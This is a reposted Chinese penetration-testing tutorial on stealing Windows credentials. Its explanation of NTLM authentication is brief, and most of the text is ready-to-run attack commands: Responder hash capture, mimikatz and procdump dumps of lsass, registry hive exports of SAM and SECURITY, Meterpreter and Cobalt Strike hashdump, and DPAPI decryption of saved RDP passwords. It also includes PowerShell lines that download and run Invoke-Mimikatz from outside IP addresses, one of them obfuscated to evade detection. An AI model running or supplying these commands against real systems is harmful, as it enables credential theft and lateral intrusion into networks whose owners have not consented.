• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

渗透测试-Windows密码凭证获取

武飞扬头像
曲折上升
帮助1

Windows密码凭证获取

Windows认证基础

Windows的认证包括三个部分:

  1. 本地认证:用户直接操作计算机登录账户
  2. 网络认证:远程连接到工作组中的某个设备
  3. 域认证:登陆到域环境中的某个设备

Windows本地认证

  1. 用户输入密码
  2. 系统收到密码后将用户输入的密码计算成NTLM Hash
  3. 与sam数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对
  4. 匹配则登陆成功,不匹配则登陆失败

NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。

本地认证中用来处理用户输入密码的进程为 lsass.exe ,密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash 与 sam 进行比对,我们使用 mimikatz 来获取的明文密码,便是在这个进程中读取到的。

Windows网络认证

网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制。

NTLM 协议的认证过程分为三步,也叫挑战相应机制:

1.协商
双方确定使用的协议版本, NTLM 存在V1和V2两个版本,即 Net-NTLM v1 hash 、Net-NTLM v2 hash 具体区别就是加密方式不同

在 NTLM 认证中, NTLM 响应分为 NTLM v1 , NTLMv2 , NTLM session v2 三种协议,不同协议使用不同格式的 Challenge 和加密算法

2.质询
挑战(Chalenge)/ 响应(Response)认证机制的核心

  1. 客户端向服务器端发送用户信息(用户名)请求
  2. 服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16位的随机数,被称之为" Challenge ", 然后使用登录用户名对应的 NTLMHash 加密Challenge(16位随机字符), 生成 Challenge1 保存在内存中。同时,生成 Challenge1后,将Challenge(16位随机字符)明文发送给客户端。
  3. 客户端接受到 Challenge 后,使用自己提供的账户的密码转换成对应的 NTLM Hash ,然后使用这个 NTLM Hash 加密 Challenge 生成 Response ,然后将 Response 发送至服务器端。

3.验证

在质询完成后,验证结果,是认证的最后一步。

服务端收到客户端发送的 Response 后,与之前保存在内存中的 Channelge1 比较,如果相等认证通过
其中,经过 NTLM Hash 加密 Challenge 的结果在网络协议中称之为 Net NTLM Hash (不能直接用来进
行哈希传递攻击,但可以通过暴力破解来获取明文密码)
其中的关键点在于:第二步中客户端发送的是 NTLM 哈希值与随机字符串加密的结果,而这个 NTLM 哈
希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的 NTLM 哈希即使不知道
正确的密码也可通过认证。

Net-ntlm hash破解

  1. 在kali运行工具responder。
    监听eth0端口流量。
responder -I eth0 -v -r -f

学新通

  1. 如果内网的目标机器输入了错误的命令,就会通过其他协议在局域网内请求,我们就可以截取Net-ntlm hash。

学新通

  1. 将截取的hash写入hash.txt,运行john。
    学新通john --format=netntlmv2 hash.txt
    学新通

系统用户凭证获取

mimikatz

mimikatz for Win10下载:

https://github.com/gentilkiwi/mimikatz/releases

本地非交互式凭证获取:

mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "exit"
mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

学新通

学新通

2.0

privilege::debug //提升权限
sekurlsa::logonpasswords //抓取密码

1.X

privilege::debug //提升权限
inject::process lsass.exe sekurlsa.dll //注入 sekurlsa.dll 到 lsass.exe 进程里
@getLogonPasswords //获取密码
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
lsadump::secrets
exit

Powershell脚本

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1
https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/Invoke-Mimikatz.ps1

Powershell本地加载mimikatz脚本:

powershell -exec bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'  #提权=>导出明文密码

学新通

powershell -exec bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"'  # 提权=>导入数据库,ntlmhash密文

学新通

Powershell远程加载mimikatz脚本:

  1. 上传脚本到vps,在文件所在目录开启http服务。
python3 -m http.server

学新通

  1. 运行powershell命令,加载mimikatz脚本。
powershell IEX (New-Object Net.WebClient).DownloadString('http://vps-ip:8000/InvokeMimikatz.ps1');Invoke-Mimikatz –DumpCred

学新通

powershell混淆:

powershell -c " ('IEX ' '(Ne' 'w-O' 'bject Ne' 't.W' 'ebClien' 't).Do' 'wnloadS' 'trin' 'g' '(' '1vchttp://' '47.101.214' '.85:8000/' 'Inv' 'oke-Mimik' 'a' 'tz.' 'ps11v' 'c)' ';' 'I' 'nvokeMimika' 'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"

学新通

Powershell 加载 Get-PassHashes脚本:
脚本下载地址:

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1
  1. 上传脚本到vps,在文件所在目录开启http服务。
python3 -m http.server

学新通

  1. 在目标机器执行命令,得到用户和hash。
powershell IEX(new-object net.webclient).downloadstring('http://1.15.132.67:8000/GetPassHashes.ps1');Get-PassHashes

学新通

procdump mimikatz

Procdump下载:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

Procdump lsass 进程导出:

For 32bits:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

For 64bits:

procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

学新通

然后使用 mimikatz 还原密码:

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

学新通

注册表导出Hash

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv

学新通
mimikatz:导出ntlmhash。

mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

学新通

impacket:

https://github.com/SecureAuthCorp/impacket/tree/master/examples

将生成的三个文件放到脚本目录下:
学新通

python3 secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

学新通

Meterpreter获取Hash

Hashdump

方法一

先上线一个会话到msf。
学新通

查看用户权限是否为system,不是的话进行提权,提权后,使用hashdump模块导出hash值。学新通
将hash值放到第三方页面读取明文密码。
学新通

方法二

使用post/windows/gather/smart_hashdump模块导出hash。
学新通Hash格式: 用户名称:RID:LM-HASH值:NTLM-HASH值

mimikatz
方法三

load kiwi  //加载模块
creds_all //列举系统中的明文密码
lsa_dump_sam //读取sam文件
kiwi_cmd sekurlsa::logonpasswords //kiwi_cmd命令后面接mimikatz的命令

学新通

学新通

CobaltStrike获取Hash

前提上线cs。
学新通

 hashdump

学新通

 logonpasswords

学新通

 mimikatz sekurlsa::logonpasswords

学新通

其他密码凭证获取

RDP连接密码解密

mimikatz

  1. 查看本地机器本地连接过的目标机器。
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

学新通
我的没有连接过。

  1. 查看本地用户此目录下是否存有RDP密码文件
dir /a %userprofile%\AppData\Local\Microsof\Credentials\*

学新通

  1. 查看保存在本地的远程主机信息
cmdkey /list

学新通

  1. 选择一个密码文件对其进行解密。
    此处需要记录下 guidMasterKey 的值,待会要通过 guidMasterKey 找对应的 Masterkey 。
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

学新通

  1. 查看保存在本地的远程主机信息
cmdkey /list

学新通

  1. 选择步骤四一个密码文件对其进行解密。
    此处需要记录下 guidMasterKey 的值,待会要通过 guidMasterKey 找对应的 Masterkey 。
privilege::debug
dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\密码文件名

学新通

记录值guidMasterKey : {34dc48bb-0af9-4925-bf07fakhsdjahsdja}

  1. 根据 guidMasterKey 找到对应的 Masterkey。
sekurlsa::dpapi

学新通

  1. 通过 Masterkey 解密 pbData 数据,拿到明文 RDP 连接密码。
dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\1密码文件 /masterkey:masterkey对应的值

学新通

学新通

Powershell脚本获取RDP连接记录

脚本下载地址  https://github.com/3gstudent/List-RDP-Connections-History.git
powershell -exec bypass .\ListLogged-inUsers.ps1

学新通
上线cs。

shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

学新通
由于没有远程连接过,下面只赘述步骤,不进行演示,有连接记录的话可以操作。

shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
 shell cmdkey /list
mimikatz "privilege::debug" "dpapi::cred /in:C:\Users\用户名\AppData\Local\Microsoft\Credentials\文件名" "exit"

Mysql数据库密码破解

一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途径来访问数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。

MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件读取权限后即可直接从数据库连接文件中读取。

一般都包含有数据库类型,物理位置,用户名和密码等信息

MYSQL数据库文件类型

MYSQL数据库文件共有 frm 、 MYD 和 MYI 三种文件;

“.frm” 是描述表结构的文件

“.MYD” 是表的数据文件

“.MYI” 是表数据文件中任何索引的数据树
一般是单独存在一个文件夹中

与用户有关的一共有三个文件即 user.frm 、 user.MYD 和 user.MYI ,MYSQL数据库用户密码都保存
在 user.MYD 文件中,包括root用户和其他用户的密码。

Mysql加密方式

MYSQL数据库的认证密码有两种方式:
MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之后的版本都是MYSQLSHA1加密

MYSQL数据库中自带 Old_Password(str) 和 Password(str) 函数,它们均可以在MYSQL数据库里进
行查询,前者是 MYSQL323 加密,后者是 MYSQLSHA1 方式加密。

mysql> select Password('root');
 ------------------------------------------- 
| Password('root') |
 ------------------------------------------- 
| *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
 ------------------------------------------- 
1 row in set

MYSQL323 加密中生成的是16位字符串,而在 MYSQLSHA1 中生成的是41位字符串,其中 * 是不加入实际的密码运算中, MYSQLSHA1 加密的密码的实际位数是40位。

获取Mysql数据库密码hash值
用winhex编辑器打开user.MYD文件,使用二进制模式查看,即可得到密码值:
学新通

Hash破解

在线网站破解

www.cmd5.com
www.somd5.com

上边已有Hash破解方法,这里不做赘述。

其他应用程序密码破解
https://github.com/uknowsec/SharpDecryptPwd
对密码已保存在 Windwos 系统上的部分程序进行解析,包括:
Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)。
源码:
https://github.com/RowTeam/SharpDecryptPwd

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhfihcbc
系列文章
更多 icon
同类精品
更多 icon
继续加载